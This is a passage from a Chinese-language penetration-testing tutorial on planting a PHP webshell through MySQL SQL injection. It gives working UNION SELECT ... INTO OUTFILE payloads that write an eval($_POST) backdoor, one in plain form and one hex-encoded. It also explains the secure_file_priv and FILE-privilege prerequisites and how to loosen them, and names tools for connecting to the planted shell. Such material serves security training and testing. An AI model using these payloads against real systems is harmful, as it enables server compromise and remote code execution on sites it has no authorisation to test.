上述只是举了一小部分脚本,读者在使用sqlmap工具的时候可以尝试使用这些脚本绕过WAF设备。
五问?MySQL注入写shell的条件 (1)利用union select写入
into outfile=into dumpfile
?id=1 union select 1,"<?php @eval($_POST['ls']);?>",3 into outfile 'F:/7788/evil.php'
?id=1 union select 1,0x223C3F70687020406576616C28245F504F53545B276C73275D293B3F3E22,3 into outfile "F:/7788/evil.php"
具体权限要求:
✦secure_file_priv支持web目录文件导出
✦数据库用户file权限
✦获取物理途径
secure_file_priv 特性:
secure_file_priv参数是用来限制load data,select…outfile,and load_file()传到哪个指定目录的。
✔secure_file_priv的值为null时,表示限制mysql不允许导入或导出。
✔secure_file_priv的值为某一路径时,表示限制mysql的导入或导出只能发生在该路径下
✔secure_file_priv的值没有具体值时,表示不对mysql的导入或导出做限制
如何在MySQL查看secure_file_priv参数的值:
show global variables like '%secure%'
在mysql 5.6.34版本以后secure_file_priv的值默认为NULL。
并且无法用sql语句对其进行修改,只能够通过修改windows下相应的配置文件my.ini,可执行以下语句查看MySQL的安装目录:
show global variables like '%datadir%'
加入:
secure_file_priv=''
重启MySQL服务:
这样修改后,就可以在任意目录进行数据导入导出了。也代表着能在有权限的任意文件夹下读写文件
数据库有用户file权限:
select * from mysql.user where user='test'
满足了三个条件:
secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径
查看相应目录,生成成功。
在实际环境中,写到web目录,再使用工具(菜刀、冰蝎、Godzilla)连接木马。
如果实际环境是linux,则需要修改添加至my.cnf配置文件:
如果没有满足条件(secure_file_priv是默认值),导出文件自然不会成功: